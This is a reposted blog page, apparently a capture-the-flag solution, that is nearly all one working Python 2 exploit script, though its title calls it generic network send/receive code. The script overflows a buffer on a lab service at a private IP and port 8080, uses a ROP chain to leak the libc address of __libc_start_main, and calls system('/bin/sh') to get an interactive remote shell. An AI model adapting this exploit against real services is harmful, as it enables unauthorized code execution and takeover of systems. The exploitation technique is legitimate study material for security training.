python 网络发送接收数据代码

最新推荐文章于 2026-06-18 22:31:57 发布

转载最新推荐文章于 2026-06-18 22:31:57 发布 · 4.2k 阅读

标签

#python socket

漏洞同时被 3 个专栏收录

14 篇文章

订阅专栏

网络安全

14 篇文章

订阅专栏

脚本

4 篇文章

订阅专栏

#coding:utf-8
__author__ = 'Dazdingo'
  
from socket import *
import struct
import time
import threading
import sys
  
is_recv = True
  
sock_host = '192.168.206.130'
sock_port = 8080
  
S = socket(AF_INET, SOCK_STREAM)
  
def send(ss, tail = ''):
  global S
  if tail:
    ss += tail
  print ss
  S.send(ss)
  
def outputrecv():
  global S
  while 1:
    if is_recv:
      i =  S.recv(1024)
      if i:
        sys.stdout.write(i)
  
def start_recv():
  #start recv
  t = threading.Thread(target = outputrecv,  args = ())
  t.daemon = True
  t.start()
  
def get_shell():
  #start recv
  start_recv()
  
  global S
  while 1:
    time.sleep(0.1)
    ss = raw_input() + '\n'
    S.send(ss)
  
  
def main():
  global S
  
  if len(sys.argv) == 3:
    sock_host = sys.argv[1]
    sock_port = int(sys.argv[2])
  
  S.connect((sock_host, sock_port))
  
  a = raw_input('pause')
  print S.recv(1024)
  
  send('syclover\x001111111\xf0')
  
  print S.recv(1024)
  
  ebp = '\x20\x99\x04\x08'
  libc = '\x5c\x98\x04\x08' #__libc_start_main
  retaddr1 = '\xa0\x83\x04\x08' # write
  retaddr2 = '\xbe\x85\x04\x08' #pop;pop;pop;ret
  pop_ebp_ret = '\xc0\x85\x04\x08'
  retaddr3 = '\x60\x83\x04\x08' # read
  retaddr4 = '\xd2\x85\x04\x08' #leave ret
  
   send('A'*0x9c + ebp + retaddr1 + retaddr2 + '\x01\x00\x00\x00' + libc +  '\x04\x00\x00\x00' +pop_ebp_ret + ebp + retaddr3 + retaddr4 +  '\x00\x00\x00\x00' + '\x24\x99\x04\x08' + '\xf0\x00\x00\x00' )
  
  time.sleep(1)
  l = S.recv(1024)
  
  libcaddr = struct.unpack('I', l)[0]
  print '__libc_start_main:',hex(libcaddr)
  system = libcaddr + 0x26050
  
  send(struct.pack('I', system) + 'AAAA'+'\x30\x99\x04\x08' + '/bin/sh\x00')
  
  get_shell()
  
  
if __name__ == '__main__':
  main()